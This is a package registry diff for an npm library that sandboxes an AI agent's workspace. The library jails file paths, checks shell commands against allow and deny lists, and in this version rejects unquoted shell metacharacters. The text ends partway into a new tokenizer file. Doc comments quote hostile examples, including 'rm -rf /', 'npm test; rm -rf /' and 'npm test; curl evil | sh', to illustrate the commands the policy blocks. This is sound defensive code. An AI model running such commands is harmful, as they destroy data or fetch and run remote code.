@warlock.js/ai-workspace 4.15.0 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- {"version":3,"file":"policy.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/policy.ts"],"sourcesContent":["import path from \"node:path\";\nimport { realpath } from \"node:fs/promises\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * The outcome of resolving a workspace-relative (or absolute) input path\n * against the jail — the canonical absolute location the backend should\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\n * the agent and tool results echo back.\n */\nexport interface ResolvedPath {\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\n absolutePath: string;\n /**\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\n * used in tool results so the agent always sees stable workspace paths.\n * Empty string when the resolved path IS the jail root.\n */\n relativePath: string;\n}\n\n/**\n * Resolve the canonical absolute form of `target`, collapsing any\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\n * so we realpath the deepest **existing** ancestor and re-attach the\n * non-existent tail — a symlinked ancestor still cannot smuggle the\n * path out of the jail, while genuinely new leaves stay creatable.\n */\nasync function canonicalize(target: string): Promise<string> {\n let resolvedTarget = path.resolve(target);\n const tail: string[] = [];\n\n // Walk up until an existing ancestor is found (or we hit the root).\n // eslint-disable-next-line no-constant-condition\n while (true) {\n try {\n const real = await realpath(resolvedTarget);\n\n return tail.length > 0 ? path.join(real, ...tail) : real;\n } catch (error) {\n const code = (error as NodeJS.ErrnoException).code;\n\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\n if (code !== \"ENOENT\") {\n throw error;\n }\n\n const parent = path.dirname(resolvedTarget);\n\n // Reached the filesystem root without finding an existing\n // ancestor — give back the lexically-resolved path unchanged.\n if (parent === resolvedTarget) {\n return path.join(resolvedTarget, ...tail);\n }\n\n tail.unshift(path.basename(resolvedTarget));\n resolvedTarget = parent;\n }\n }\n}\n\n/**\n * Whether `child` is contained within `root` (or equals it), comparing\n * canonical absolute paths. Guards against the `/srv/app-evil` vs\n * `/srv/app` prefix-collision by anchoring on a path separator.\n */\nfunction isInside(child: string, root: string): boolean {\n const relative = path.relative(root, child);\n\n return (\n relative === \"\" ||\n (!relative.startsWith(\"..\") && !path.isAbsolute(relative))\n );\n}\n\n/**\n * Translate a glob (the small subset used by `denyPaths` — `*`, `**`,\n * `?`) into an anchored `RegExp` over a `/`-separated relative path.\n * `**` spans path separators; a single `*` does not.\n */\nfunction globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob[index];\n\n if (char === \"*\") {\n if (glob[index + 1] === \"*\") {\n // `**` — match across segments (and an optional trailing slash).\n source += \".*\";\n index++;\n\n if (glob[index + 1] === \"/\") {\n index++;\n }\n } else {\n // `*` — match within a single segment.\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n // Escape everything else so it matches literally.\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * Whether a workspace-relative (`/`-separated) path matches any of the\n * policy's `denyPaths` globs. A deny glob also blocks everything beneath\n * a matched directory (`\".git/**\"` blocks `.git/config`).\n */\nfunction matchesDeny(relativePath: string, denyPaths: string[]): boolean {\n return denyPaths.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n // A bare directory glob (`\".git\"`, `\"node_modules\"`) should also\n // block its contents, mirroring how `\".git/**\"` would behave.\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n}\n\n/**\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\n *\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\n * existing ancestors collapsed so a symlinked directory cannot escape\n * the jail), then accepted **only** when it sits under `cwd` or one of\n * the `allowPaths` roots. A path that escapes, or that matches any\n * `denyPaths` glob even while inside `cwd`, is rejected with a\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\n *\n * @param policy - The bounding policy (its `cwd` is the jail root).\n * @param inputPath - A workspace-relative or absolute path to resolve.\n * @returns The canonical absolute path plus its `/`-separated relative form.\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\n *\n * @example\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\n */\nexport async function resolveInJail(\n policy: WorkspacePolicy,\n inputPath: string,\n): Promise<ResolvedPath> {\n const jailRoot = await canonicalize(policy.cwd);\n const requested = path.isAbsolute(inputPath)\n ? inputPath\n : path.join(policy.cwd, inputPath);\n const absolutePath = await canonicalize(requested);\n\n const insideCwd = isInside(absolutePath, jailRoot);\n const allowRoots = policy.allowPaths ?? [];\n let insideAllow = false;\n\n if (!insideCwd) {\n for (const root of allowRoots) {\n const canonicalRoot = await canonicalize(root);\n\n if (isInside(absolutePath, canonicalRoot)) {\n insideAllow = true;\n\n break;\n }\n }\n }\n\n if (!insideCwd && !insideAllow) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" resolves outside the workspace jail.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n\n // `denyPaths` is evaluated relative to the jail root and wins even\n // when the path is comfortably inside `cwd`.\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\n : \"\";\n\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\n if (matchesDeny(relativeToJail, policy.denyPaths)) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" is blocked by the workspace deny list.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n }\n\n return { absolutePath, relativePath: relativeToJail };\n}\n\n/**\n * Extract the leading executable basename from a command line — the\n * token the shell allow/deny policy is keyed on. `\"npm run build\"` →\n * `\"npm\"`; `\"/usr/bin/node app.js\"` → `\"node\"`; `\"node.exe app\"` →\n * `\"node\"` (the `.exe`/`.cmd`/`.bat` Windows extension is stripped).\n */\nfunction leadingExecutable(command: string): string {\n const trimmed = command.trim();\n const firstToken = trimmed.split(/\\s+/)[0] ?? \"\";\n const base = path.basename(firstToken);\n\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\n}\n\n/**\n * Whether a shell command is permitted by the policy's `shell` sub-policy.\n *\n * The command's leading executable basename is matched against\n * `shell.deny` then `shell.allow`. **Deny always wins.** When\n * `shell.allow` is set, the executable MUST appear in it (fail-closed\n * allowlist); when `allow` is absent/empty, any non-denied command is\n * permitted. An absent `shell` block means no command may run at all.\n *\n * Returns a plain `boolean` rather than throwing — the ops layer raises\n * the {@link WorkspacePolicyError} so the thrown context (`command`)\n * lives next to the call site.\n *\n * @example\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\n */\nexport function isCommandAllowed(\n policy: WorkspacePolicy,\n command: string,\n): boolean {\n const shell = policy.shell;\n\n // No shell sub-policy ⇒ fail-closed: nothing may run.\n if (!shell) {\n return false;\n }\n\n const executable = leadingExecutable(command);\n\n if (executable === \"\") {\n return false;\n }\n\n // Deny wins over everything else.\n if (shell.deny && shell.deny.includes(executable)) {\n return false;\n }\n\n // An allowlist, when present, is exhaustive.\n if (shell.allow && shell.allow.length > 0) {\n return shell.allow.includes(executable);\n }\n\n // No allowlist: anything not explicitly denied is permitted.\n return true;\n}\n\n/**\n * Build the exact environment a spawned process receives — `process.env`\n * is **never** inherited wholesale. The result is\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\n * values override inherited ones on key collision.\n *\n * @example\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\n * // → { PATH: <process PATH>, CI: \"1\" }\n */\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\n const shell = policy.shell;\n const env: Record<string, string> = {};\n\n if (!shell) {\n return env;\n }\n\n for (const key of shell.inheritEnv ?? []) {\n const value = process.env[key];\n\n if (value !== undefined) {\n env[key] = value;\n }\n }\n\n if (shell.env) {\n for (const [key, value] of Object.entries(shell.env)) {\n env[key] = value;\n }\n }\n\n return env;\n}\n"],"mappings":"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"}
1
+ {"version":3,"file":"policy.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/policy.ts"],"sourcesContent":["import path from \"node:path\";\r\nimport { realpath } from \"node:fs/promises\";\r\nimport { WorkspacePolicyError } from \"../errors\";\r\nimport { tokenizeCommand } from \"./tokenize-command\";\r\nimport type { WorkspacePolicy } from \"../contracts\";\r\n\r\n/**\r\n * The outcome of resolving a workspace-relative (or absolute) input path\r\n * against the jail — the canonical absolute location the backend should\r\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\r\n * the agent and tool results echo back.\r\n */\r\nexport interface ResolvedPath {\r\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\r\n absolutePath: string;\r\n /**\r\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\r\n * used in tool results so the agent always sees stable workspace paths.\r\n * Empty string when the resolved path IS the jail root.\r\n */\r\n relativePath: string;\r\n}\r\n\r\n/**\r\n * Resolve the canonical absolute form of `target`, collapsing any\r\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\r\n * so we realpath the deepest **existing** ancestor and re-attach the\r\n * non-existent tail — a symlinked ancestor still cannot smuggle the\r\n * path out of the jail, while genuinely new leaves stay creatable.\r\n */\r\nasync function canonicalize(target: string): Promise<string> {\r\n let resolvedTarget = path.resolve(target);\r\n const tail: string[] = [];\r\n\r\n // Walk up until an existing ancestor is found (or we hit the root).\r\n // eslint-disable-next-line no-constant-condition\r\n while (true) {\r\n try {\r\n const real = await realpath(resolvedTarget);\r\n\r\n return tail.length > 0 ? path.join(real, ...tail) : real;\r\n } catch (error) {\r\n const code = (error as NodeJS.ErrnoException).code;\r\n\r\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\r\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\r\n if (code !== \"ENOENT\") {\r\n throw error;\r\n }\r\n\r\n const parent = path.dirname(resolvedTarget);\r\n\r\n // Reached the filesystem root without finding an existing\r\n // ancestor — give back the lexically-resolved path unchanged.\r\n if (parent === resolvedTarget) {\r\n return path.join(resolvedTarget, ...tail);\r\n }\r\n\r\n tail.unshift(path.basename(resolvedTarget));\r\n resolvedTarget = parent;\r\n }\r\n }\r\n}\r\n\r\n/**\r\n * Whether `child` is contained within `root` (or equals it), comparing\r\n * canonical absolute paths. Guards against the `/srv/app-evil` vs\r\n * `/srv/app` prefix-collision by anchoring on a path separator.\r\n */\r\nfunction isInside(child: string, root: string): boolean {\r\n const relative = path.relative(root, child);\r\n\r\n return (\r\n relative === \"\" ||\r\n (!relative.startsWith(\"..\") && !path.isAbsolute(relative))\r\n );\r\n}\r\n\r\n/**\r\n * Translate a glob (the small subset used by `denyPaths` — `*`, `**`,\r\n * `?`) into an anchored `RegExp` over a `/`-separated relative path.\r\n * `**` spans path separators; a single `*` does not.\r\n */\r\nfunction globToRegExp(glob: string): RegExp {\r\n let source = \"\";\r\n\r\n for (let index = 0; index < glob.length; index++) {\r\n const char = glob[index];\r\n\r\n if (char === \"*\") {\r\n if (glob[index + 1] === \"*\") {\r\n // `**` — match across segments (and an optional trailing slash).\r\n source += \".*\";\r\n index++;\r\n\r\n if (glob[index + 1] === \"/\") {\r\n index++;\r\n }\r\n } else {\r\n // `*` — match within a single segment.\r\n source += \"[^/]*\";\r\n }\r\n\r\n continue;\r\n }\r\n\r\n if (char === \"?\") {\r\n source += \"[^/]\";\r\n\r\n continue;\r\n }\r\n\r\n // Escape everything else so it matches literally.\r\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\r\n }\r\n\r\n return new RegExp(`^${source}$`);\r\n}\r\n\r\n/**\r\n * Whether a workspace-relative (`/`-separated) path matches any of the\r\n * policy's `denyPaths` globs. A deny glob also blocks everything beneath\r\n * a matched directory (`\".git/**\"` blocks `.git/config`).\r\n */\r\nfunction matchesDeny(relativePath: string, denyPaths: string[]): boolean {\r\n return denyPaths.some((glob) => {\r\n if (globToRegExp(glob).test(relativePath)) {\r\n return true;\r\n }\r\n\r\n // A bare directory glob (`\".git\"`, `\"node_modules\"`) should also\r\n // block its contents, mirroring how `\".git/**\"` would behave.\r\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\r\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\r\n\r\n return relativePath.startsWith(prefix);\r\n }\r\n\r\n return false;\r\n });\r\n}\r\n\r\n/**\r\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\r\n *\r\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\r\n * existing ancestors collapsed so a symlinked directory cannot escape\r\n * the jail), then accepted **only** when it sits under `cwd` or one of\r\n * the `allowPaths` roots. A path that escapes, or that matches any\r\n * `denyPaths` glob even while inside `cwd`, is rejected with a\r\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\r\n *\r\n * @param policy - The bounding policy (its `cwd` is the jail root).\r\n * @param inputPath - A workspace-relative or absolute path to resolve.\r\n * @returns The canonical absolute path plus its `/`-separated relative form.\r\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\r\n *\r\n * @example\r\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\r\n */\r\nexport async function resolveInJail(\r\n policy: WorkspacePolicy,\r\n inputPath: string,\r\n): Promise<ResolvedPath> {\r\n const jailRoot = await canonicalize(policy.cwd);\r\n const requested = path.isAbsolute(inputPath)\r\n ? inputPath\r\n : path.join(policy.cwd, inputPath);\r\n const absolutePath = await canonicalize(requested);\r\n\r\n const insideCwd = isInside(absolutePath, jailRoot);\r\n const allowRoots = policy.allowPaths ?? [];\r\n let insideAllow = false;\r\n\r\n if (!insideCwd) {\r\n for (const root of allowRoots) {\r\n const canonicalRoot = await canonicalize(root);\r\n\r\n if (isInside(absolutePath, canonicalRoot)) {\r\n insideAllow = true;\r\n\r\n break;\r\n }\r\n }\r\n }\r\n\r\n if (!insideCwd && !insideAllow) {\r\n throw new WorkspacePolicyError(\r\n `Path \"${inputPath}\" resolves outside the workspace jail.`,\r\n { type: \"path-escape\", path: inputPath },\r\n );\r\n }\r\n\r\n // `denyPaths` is evaluated relative to the jail root and wins even\r\n // when the path is comfortably inside `cwd`.\r\n const relativeToJail = insideCwd\r\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\r\n : \"\";\r\n\r\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\r\n if (matchesDeny(relativeToJail, policy.denyPaths)) {\r\n throw new WorkspacePolicyError(\r\n `Path \"${inputPath}\" is blocked by the workspace deny list.`,\r\n { type: \"path-escape\", path: inputPath },\r\n );\r\n }\r\n }\r\n\r\n return { absolutePath, relativePath: relativeToJail };\r\n}\r\n\r\n/**\r\n * Reduce an argv's first element to the basename the allow/deny policy is\r\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\r\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\r\n * stripped).\r\n */\r\nfunction executableBasename(firstToken: string): string {\r\n const base = path.basename(firstToken);\r\n\r\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\r\n}\r\n\r\n/**\r\n * Whether a shell command is permitted by the policy's `shell` sub-policy.\r\n *\r\n * The command is first tokenized via {@link tokenizeCommand} — a command\r\n * that cannot be represented as a single argv (unbalanced quotes, or\r\n * unquoted shell metacharacters such as `;`, `&&`, `|`, backticks, `$`,\r\n * redirection) is denied outright. The backend spawns the argv directly\r\n * with no shell, so such a command has no meaning here — and unquoted\r\n * metacharacters were exactly how an injected command chain used to ride\r\n * past the allowlist. The resolved `argv[0]` basename is then matched\r\n * against `shell.deny` then `shell.allow`. **Deny always wins.** When\r\n * `shell.allow` is set, the executable MUST appear in it (fail-closed\r\n * allowlist); when `allow` is absent/empty, any non-denied command is\r\n * permitted. An absent `shell` block means no command may run at all.\r\n *\r\n * Returns a plain `boolean` rather than throwing — the ops layer raises\r\n * the {@link WorkspacePolicyError} so the thrown context (`command`)\r\n * lives next to the call site.\r\n *\r\n * @example\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\r\n */\r\nexport function isCommandAllowed(\r\n policy: WorkspacePolicy,\r\n command: string,\r\n): boolean {\r\n const shell = policy.shell;\r\n\r\n // No shell sub-policy ⇒ fail-closed: nothing may run.\r\n if (!shell) {\r\n return false;\r\n }\r\n\r\n const argv = tokenizeCommand(command);\r\n\r\n if (argv === null) {\r\n return false;\r\n }\r\n\r\n const executable = executableBasename(argv[0]);\r\n\r\n if (executable === \"\") {\r\n return false;\r\n }\r\n\r\n // Deny wins over everything else.\r\n if (shell.deny && shell.deny.includes(executable)) {\r\n return false;\r\n }\r\n\r\n // An allowlist, when present, is exhaustive.\r\n if (shell.allow && shell.allow.length > 0) {\r\n return shell.allow.includes(executable);\r\n }\r\n\r\n // No allowlist: anything not explicitly denied is permitted.\r\n return true;\r\n}\r\n\r\n/**\r\n * Build the exact environment a spawned process receives — `process.env`\r\n * is **never** inherited wholesale. The result is\r\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\r\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\r\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\r\n * values override inherited ones on key collision.\r\n *\r\n * @example\r\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\r\n * // → { PATH: <process PATH>, CI: \"1\" }\r\n */\r\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\r\n const shell = policy.shell;\r\n const env: Record<string, string> = {};\r\n\r\n if (!shell) {\r\n return env;\r\n }\r\n\r\n for (const key of shell.inheritEnv ?? []) {\r\n const value = process.env[key];\r\n\r\n if (value !== undefined) {\r\n env[key] = value;\r\n }\r\n }\r\n\r\n if (shell.env) {\r\n for (const [key, value] of Object.entries(shell.env)) {\r\n env[key] = value;\r\n }\r\n }\r\n\r\n return env;\r\n}\r\n"],"mappings":"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"}
@@ -0,0 +1,78 @@
1
+ //#region ../ai-workspace/src/policy/tokenize-command.ts
2
+ /**
3
+ * Characters that are refused when they appear UNQUOTED in a command line.
4
+ * Workspace commands are executed as a direct argv spawn — never through a
5
+ * shell — so none of these can mean what a shell would make them mean
6
+ * (chaining, piping, substitution, redirection, subshells). Refusing them
7
+ * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is
8
+ * rejected instead of silently running commands past the allowlist. Inside
9
+ * quotes they are ordinary literal bytes and pass through as argument data.
10
+ */
11
+ const UNQUOTED_METACHARACTERS = new Set([
12
